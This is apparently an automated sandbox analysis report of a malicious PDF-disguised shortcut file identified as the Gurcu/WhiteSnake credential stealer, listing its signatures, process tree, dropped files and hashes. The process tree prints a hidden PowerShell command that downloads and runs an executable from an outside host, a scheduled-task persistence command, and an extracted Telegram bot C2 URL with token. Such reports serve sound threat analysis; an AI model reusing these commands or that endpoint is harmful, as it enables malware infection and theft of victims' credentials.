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Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/07/2024, 02:32

General

  • Target

    Catalog co.pdf.lnk

  • Size

    2KB

  • MD5

    eb248558c413ed59d5f85b05ecba8213

  • SHA1

    67b895b8372810fc71e4bc4b645225adff29239b

  • SHA256

    b9bb4eb13cb09c25862151e98059905804034304d4c65d9efe1f2ad0da38301a

  • SHA512

    215e64935fc7fd4ed15b85b96cf98871bbdd4cfd07f3cefaf89e9374709137a6136793f49182a0dfa3717e5418a7ebac47890ed5fd248f511804a81ef1671697

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7304169973:AAHQ-YM-Iz4Z3iwfTDSixExgl7INL8UlSEA/sendMessage?chat_id=6845150313

Signatures

  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 9 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Catalog co.pdf.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3820
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden iwr -Uri http://ie-servenet.shop/azHOsXsN/Major_0x00012BD4C3BDF0.exe -OutFile $env:TEMP\Major_0x00012BD4C3BDF0.exe;Start-Process $env:TEMP\Major_0x00012BD4C3BDF0.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3648
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden iwr -Uri http://ie-servenet.shop/azHOsXsN/Major_0x00012BD4C3BDF0.exe -OutFile $env:TEMP\Major_0x00012BD4C3BDF0.exe;Start-Process $env:TEMP\Major_0x00012BD4C3BDF0.exe
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1672
        • C:\Users\Admin\AppData\Local\Temp\Major_0x00012BD4C3BDF0.exe
          "C:\Users\Admin\AppData\Local\Temp\Major_0x00012BD4C3BDF0.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2788
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "Major_0x00012BD4C3BDF0" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Starlabs\Major_0x00012BD4C3BDF0.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\Major_0x00012BD4C3BDF0.exe" &&START "" "C:\Users\Admin\AppData\Local\Starlabs\Major_0x00012BD4C3BDF0.exe"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4904
            • C:\Windows\system32\chcp.com
              chcp 65001
              6⤵
                PID:1120
              • C:\Windows\system32\timeout.exe
                timeout /t 3
                6⤵
                • Delays execution with timeout.exe
                PID:1676
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn "Major_0x00012BD4C3BDF0" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Starlabs\Major_0x00012BD4C3BDF0.exe" /rl HIGHEST /f
                6⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2576
              • C:\Users\Admin\AppData\Local\Starlabs\Major_0x00012BD4C3BDF0.exe
                "C:\Users\Admin\AppData\Local\Starlabs\Major_0x00012BD4C3BDF0.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Accesses Microsoft Outlook profiles
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                • outlook_office_path
                • outlook_win_path
                PID:5048
                • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\tor-real.exe
                  "C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\tor-real.exe" -f "C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\torrc.txt"
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:2260
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
                  7⤵
                  • System Network Configuration Discovery: Wi-Fi Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4616
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    8⤵
                      PID:4608
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show profiles
                      8⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Network Configuration Discovery: Wi-Fi Discovery
                      PID:5040
                    • C:\Windows\system32\findstr.exe
                      findstr /R /C:"[ ]:[ ]"
                      8⤵
                        PID:3668
                    • C:\Windows\SYSTEM32\cmd.exe
                      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                      7⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3672
                      • C:\Windows\system32\chcp.com
                        chcp 65001
                        8⤵
                          PID:1620
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show networks mode=bssid
                          8⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:828
                        • C:\Windows\system32\findstr.exe
                          findstr "SSID BSSID Signal"
                          8⤵
                            PID:1220
            • C:\Users\Admin\AppData\Local\Starlabs\Major_0x00012BD4C3BDF0.exe
              C:\Users\Admin\AppData\Local\Starlabs\Major_0x00012BD4C3BDF0.exe
              1⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:800
            • C:\Users\Admin\AppData\Local\Starlabs\Major_0x00012BD4C3BDF0.exe
              C:\Users\Admin\AppData\Local\Starlabs\Major_0x00012BD4C3BDF0.exe
              1⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4972

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Major_0x00012BD4C3BDF0.exe.log

              Filesize

              847B

              MD5

              3308a84a40841fab7dfec198b3c31af7

              SHA1

              4e7ab6336c0538be5dd7da529c0265b3b6523083

              SHA256

              169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

              SHA512

              97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

            • C:\Users\Admin\AppData\Local\Temp\Major_0x00012BD4C3BDF0.exe

              Filesize

              1.3MB

              MD5

              c7ea74a05e864d4d67a2fba6be3bb667

              SHA1

              be91a12de06e01a7e10b1dd514dbedb699f180e4

              SHA256

              a01ac4244102e3958296c70d71e3d951f11abcc355458d1918d081587b151d90

              SHA512

              ad03970be59ae08deaf69ffe3078704f9471a76789c040d695a21ab4ffd95377137ab64f19e33f6d9a9fa1b4ec11bd1c66b4a5bbc55dc413cd79aa6376b6a713

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fzfxft5w.s2f.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\p.dat

              Filesize

              4B

              MD5

              1cdf14d1e3699d61d237cf76ce1c2dca

              SHA1

              144a4ff8db24bfa94498de6817d25db065020d0a

              SHA256

              346f05a48032ec2d7b1c7eb248654175cba8b58c611c01aff5a6673a1fe0a7cd

              SHA512

              2dd87e7f8d6739229bcf73d64bf177d9f6fc1f95481219b8bfb5f35e5eb05b70327244d9648ac4ac71efa4d9c31c352482fa5bdb8ab3ffddc9acaac875d373d2

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\data\cached-microdesc-consensus.tmp

              Filesize

              2.6MB

              MD5

              a41b7cc22f84ad2ee4fcaf7dc75b88f3

              SHA1

              6513d46298da575af6ca7e02820347463f66d8fd

              SHA256

              215e46f5a655168b094d4ae20154883558466b5009cbc5c1e781029d68311090

              SHA512

              533ef8b3755cd924788dc157b4f78ed3b1c464bf2fd5995a6e7720537ed8b93e6a2cf45b8f9e54aa2b0d8f1720229e8f68093e9327bda53e42fab537a2b0f07b

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\data\cached-microdescs.new

              Filesize

              4.9MB

              MD5

              618961bbf7c8ac427aad43e254973900

              SHA1

              ab189c334b152a6709f6cd03e2b63f215cc179c7

              SHA256

              b0f2f89b6bca8c598d277c029117c6e66c6cbcae6ba25d11f6c7ea3e692aa1f7

              SHA512

              d98297903ada1b9254849c5245a8941e080afe91a99ef262fcfbcbdd36739382211a3cc8585c63c967453cff3fa4386d332ee23474752b2a2718409cc94b916c

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\host\hostname

              Filesize

              64B

              MD5

              6d32097293b5b1439071ff7bdfc2d984

              SHA1

              93e435d14cda46a44fd2c356b2235ab41475d78a

              SHA256

              aae1ae259cb41529761ddc5c237654414bbddc324cdb3672ff439b97796c662f

              SHA512

              cbd9ad21700b0d722c9fcc66180383736efa02de2181e523d41c06f2a5bc71d6a4144f917824e9b23f15137798bef8fc888b87ca43a382bc7309f0d507511ede

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\libcrypto-1_1.dll

              Filesize

              3.5MB

              MD5

              6d48d76a4d1c9b0ff49680349c4d28ae

              SHA1

              1bb3666c16e11eff8f9c3213b20629f02d6a66cb

              SHA256

              3f08728c7a67e4998fbdc7a7cb556d8158efdcdaf0acf75b7789dccace55662d

              SHA512

              09a4fd7b37cf52f6a0c3bb0a7517e2d2439f4af8e03130aed3296d7448585ea5e3c0892e1e1202f658ef2d083ce13c436779e202c39620a70a17b026705c65c9

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\libevent-2-1-7.dll

              Filesize

              1.1MB

              MD5

              a3bf8e33948d94d490d4613441685eee

              SHA1

              75ed7f6e2855a497f45b15270c3ad4aed6ad02e2

              SHA256

              91c812a33871e40b264761f1418e37ebfeb750fe61ca00cbcbe9f3769a8bf585

              SHA512

              c20ef2efcacb5f8c7e2464de7fde68bf610ab2e0608ff4daed9bf676996375db99bee7e3f26c5bd6cca63f9b2d889ed5460ec25004130887cd1a90b892be2b28

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\libgcc_s_sjlj-1.dll

              Filesize

              1.0MB

              MD5

              bd40ff3d0ce8d338a1fe4501cd8e9a09

              SHA1

              3aae8c33bf0ec9adf5fbf8a361445969de409b49

              SHA256

              ebda776a2a353f8f0690b1c7706b0cdaff3d23e1618515d45e451fc19440501c

              SHA512

              404fb3c107006b832b8e900f6e27873324cd0a7946cdccf4ffeea365a725892d929e8b160379af9782bcd6cfeb4c3c805740e21280b42bb2ce8f39f26792e5a1

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\libssl-1_1.dll

              Filesize

              1.1MB

              MD5

              945d225539becc01fbca32e9ff6464f0

              SHA1

              a614eb470defeab01317a73380f44db669100406

              SHA256

              c697434857a039bf27238c105be0487a0c6c611dd36cb1587c3c6b3bf582718a

              SHA512

              409f8f1e6d683a3cbe7954bce37013316dee086cdbd7ecda88acb5d94031cff6166a93b641875116327151823cce747bcf254c0185e0770e2b74b7c5e067bc4a

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\libssp-0.dll

              Filesize

              246KB

              MD5

              b77328da7cead5f4623748a70727860d

              SHA1

              13b33722c55cca14025b90060e3227db57bf5327

              SHA256

              46541d9e28c18bc11267630920b97c42f104c258b55e2f62e4a02bcd5f03e0e7

              SHA512

              2f1bd13357078454203092ed5ddc23a8baa5e64202fba1e4f98eacf1c3c184616e527468a96ff36d98b9324426dddfa20b62b38cf95c6f5c0dc32513ebace9e2

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\libwinpthread-1.dll

              Filesize

              512KB

              MD5

              19d7cc4377f3c09d97c6da06fbabc7dc

              SHA1

              3a3ba8f397fb95ed5df22896b2c53a326662fcc9

              SHA256

              228fcfe9ed0574b8da32dd26eaf2f5dbaef0e1bd2535cb9b1635212ccdcbf84d

              SHA512

              23711285352cdec6815b5dd6e295ec50568fab7614706bc8d5328a4a0b62991c54b16126ed9e522471d2367b6f32fa35feb41bfa77b3402680d9a69f53962a4a

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\tor-real.exe

              Filesize

              4.0MB

              MD5

              07244a2c002ffdf1986b454429eace0b

              SHA1

              d7cd121caac2f5989aa68a052f638f82d4566328

              SHA256

              e9522e6912a0124c0a8c9ff9bb3712b474971376a4eb4ca614bb1664a2b4abcf

              SHA512

              4a09db85202723a73703c5926921fef60c3dddae21528a01936987306c5e7937463f94a2f4a922811de1f76621def2a8a597a8b38a719dd24e6ff3d4e07492ca

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\torrc.txt

              Filesize

              226B

              MD5

              87779e69e30210eb52b6e2018bebdcc5

              SHA1

              e9a52cb7a343b1f0e97ecf6129be9445a34b2641

              SHA256

              8a72cee19e9474648158c00c1b6cb75a7b5aaaa04ce9c38bce811e2d7a7b8e88

              SHA512

              be9ec87259aac9b32e6fecf8eab45061082a94561d1ab5d10bc9f64d23658317eba85f17fe644121888e634e9bdbaa253a6f5cda4eb2508b7c010e7bdc304c53

            • C:\Users\Admin\AppData\Local\ly3zk22kzb\tor\zlib1.dll

              Filesize

              121KB

              MD5

              6f98da9e33cd6f3dd60950413d3638ac

              SHA1

              e630bdf8cebc165aa81464ff20c1d55272d05675

              SHA256

              219d9d5bf0de4c2251439c89dd5f2959ee582e7f9f7d5ff66a29c88753a3a773

              SHA512

              2983faaf7f47a8f79a38122aa617e65e7deddd19ba9a98b62acf17b48e5308099b852f21aaf8ca6fe11e2cc76c36eed7ffa3307877d4e67b1659fe6e4475205c

            • memory/1672-12-0x00007FFE0A440000-0x00007FFE0AF01000-memory.dmp

              Filesize

              10.8MB

            • memory/1672-11-0x00007FFE0A440000-0x00007FFE0AF01000-memory.dmp

              Filesize

              10.8MB

            • memory/1672-0-0x00007FFE0A443000-0x00007FFE0A445000-memory.dmp

              Filesize

              8KB

            • memory/1672-10-0x00000198DEA20000-0x00000198DEA42000-memory.dmp

              Filesize

              136KB

            • memory/1672-26-0x00007FFE0A440000-0x00007FFE0AF01000-memory.dmp

              Filesize

              10.8MB

            • memory/2260-128-0x00000000748C0000-0x00000000748E6000-memory.dmp

              Filesize

              152KB

            • memory/2260-129-0x00000000006E0000-0x0000000000AF4000-memory.dmp

              Filesize

              4.1MB

            • memory/2260-141-0x0000000074C10000-0x0000000074D0B000-memory.dmp

              Filesize

              1004KB

            • memory/2260-145-0x00000000748F0000-0x00000000749D6000-memory.dmp

              Filesize

              920KB

            • memory/2260-147-0x00000000745C0000-0x00000000748B6000-memory.dmp

              Filesize

              3.0MB

            • memory/2260-144-0x00000000749E0000-0x0000000074A61000-memory.dmp

              Filesize

              516KB

            • memory/2260-143-0x0000000074A70000-0x0000000074B74000-memory.dmp

              Filesize

              1.0MB

            • memory/2260-142-0x0000000074BC0000-0x0000000074C04000-memory.dmp

              Filesize

              272KB

            • memory/2260-140-0x00000000006E0000-0x0000000000AF4000-memory.dmp

              Filesize

              4.1MB

            • memory/2260-146-0x00000000748C0000-0x00000000748E6000-memory.dmp

              Filesize

              152KB

            • memory/2260-127-0x0000000074C10000-0x0000000074D0B000-memory.dmp

              Filesize

              1004KB

            • memory/2260-163-0x00000000006E0000-0x0000000000AF4000-memory.dmp

              Filesize

              4.1MB

            • memory/2260-171-0x00000000006E0000-0x0000000000AF4000-memory.dmp

              Filesize

              4.1MB

            • memory/2260-223-0x00000000006E0000-0x0000000000AF4000-memory.dmp

              Filesize

              4.1MB

            • memory/2260-181-0x00000000006E0000-0x0000000000AF4000-memory.dmp

              Filesize

              4.1MB

            • memory/2260-192-0x00000000006E0000-0x0000000000AF4000-memory.dmp

              Filesize

              4.1MB

            • memory/2260-215-0x00000000006E0000-0x0000000000AF4000-memory.dmp

              Filesize

              4.1MB

            • memory/2788-27-0x0000000002120000-0x0000000002144000-memory.dmp

              Filesize

              144KB